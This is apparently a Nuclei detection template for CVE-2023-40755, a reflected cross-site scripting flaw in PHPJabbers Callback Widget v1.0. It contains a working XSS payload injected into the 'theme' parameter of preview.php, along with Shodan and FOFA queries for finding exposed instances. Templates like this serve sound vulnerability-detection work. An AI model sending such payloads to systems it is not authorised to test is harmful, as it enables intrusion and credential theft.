id: CVE-2023-40755

info:
  name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the theme parameter in preview.php, potentially stealing callback widget administrator credentials and manipulating callback requests.
  remediation: |
    Update PHPJabbers Callback Widget to a version newer than 1.0 that properly sanitizes the theme parameter and encodes output in preview.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40755
    cwe-id: CWE-79
    epss-score: 0.01202
    epss-percentile: 0.64202
    cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: callback_widget
  tags: cve,cve2023,phpjabbers,callback-widget,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'PHPJabbers'
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'theme=theme10dnel8"><script>alert(document.domain)</script>ko0'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200437164ddc4c0c246331cdc96c5907f92c2f080d029793e470e72eb99636dc1b022065604b5cd4b53b81ef2eefb77e2cb97e5b6a72c480d7ee1b36c76c66cfaa16b1:922c64590222798bb761d5b6d8e72950